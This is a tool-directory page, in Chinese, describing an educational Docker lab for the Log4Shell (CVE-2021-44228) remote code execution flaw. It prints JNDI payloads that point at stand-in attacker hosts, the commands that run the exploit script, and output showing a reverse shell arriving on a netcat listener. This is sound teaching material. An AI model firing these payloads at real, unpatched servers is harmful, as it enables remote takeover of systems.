Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
EXPLOIT-CVE-2021-44228 — 基于Docker的教育实验环境,演示了Log4Shell(CVE-2021-44228)RCE漏洞利用,包含一个脆弱的Java应用、LDAP重定向器和自动化利用脚本。 | Kitploit
工具/GitHubGitHub/joaovicdev/exploit-cve-2021-44228
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用学习与教育实验室与实践
GitHubjoaovicdev/exploit-cve-2021-44228

EXPLOIT-CVE-2021-44228

基于Docker的教育实验环境,演示了Log4Shell(CVE-2021-44228)RCE漏洞利用,包含一个脆弱的Java应用、LDAP重定向器和自动化利用脚本。

查看仓库
45个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-44228 — Log4Shell PoC 实验室

免责声明

本实验室 仅用于教育及安全研究目的。 所有流量均发生在隔离的 Docker 网络内部。 请勿将此材料用于真实系统或未经明确授权的场景。 不当使用可能构成犯罪。请负责任地使用。


CVE-2021-44228 是什么?

Log4Shell 是一个于 2021 年 12 月被发现的关键漏洞(CVSS 10.0),存在于广泛用于 Java 应用程序的 Apache Log4j 2 日志库中。

漏洞成因

Log4j 具有表达式插值功能:在记录消息时,它会解析 ${...} 格式的字符串。例如,${java:version} 会被替换为运行时的 Java 版本。

问题出在它对 JNDI(Java 命名和目录接口)协议的支持上。当 Log4j 遇到类似如下的表达式时:

root@kitploit:~
${jndi:ldap://atacante.com/exploit}

它会指示 JVM 向攻击者的服务器发起一次 LDAP 查询。服务器会响应一个远程 Java 类的引用——而 JVM 会 下载并执行这个类,导致 远程代码执行(RCE)。

攻击向量很简单:任何被服务器记录的字段(HTTP 头部、表单字段、Cookie 等)都可能成为 payload 的入口。

受影响版本

  • Log4j 2.0-beta9 至 2.14.1
  • 在版本 2.15.0 中修复(并在 2.17.0 中彻底修复)

漏洞环境

该实验室模拟了一个使用受影响版本的 Java 应用程序。

漏洞端点

root@kitploit:~
GET http://localhost:8080/log

以下头部会被 Log4j 直接记录——其中任意一个都可能成为注入点:

  • X-Api-Version
  • User-Agent
  • X-Auth-Token

攻击方基础设施(attacker 容器)

服务端口功能

如何使用该漏洞

前提条件

  • 已安装 Docker 和 Docker Compose
  • 已安装 Node.js(用于运行漏洞利用程序)

1. 启动完整环境

root@kitploit:~
docker-compose up --build

等待直至在日志中看到:

root@kitploit:~
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds

2. 触发漏洞

在另一个终端中,运行 Node.js 漏洞利用程序:

root@kitploit:~
node exploit/exploit.js

预期输出:

root@kitploit:~
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target  : http://localhost:8080/log
[*] Header  : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}

[+] Response : 200 OK
[+] Body     : logged

[+] Payload delivered — check the attacker nc listener on port 9001

3. 验证执行效果

观察运行 docker-compose 的终端。在 attacker 容器的日志中,你会看到反弹 shell 连接到达 9001 端口。

要确认在漏洞应用内部执行了 touch /tmp/pwned:

root@kitploit:~
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned

自定义参数(可选)

root@kitploit:~
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"

By Guaxinim | Cyber Security Research

下载工具
组件版本为何存在漏洞
Apache Log4j2.14.1无限制地解析 ${jndi:...}
JDK1.8.0_181早于设置了 trustURLCodebase=false 的 8u191 补丁
Spring Boot2.5.6仅作为 Web 框架;漏洞来自 Log4j
marshalsec (LDAP)1389接收 JNDI 查询并重定向至 HTTP 服务器
Python HTTP 服务器8888向受害者 JVM 提供 Exploit.class 文件
netcat 监听器9001接收反弹 shell 的连接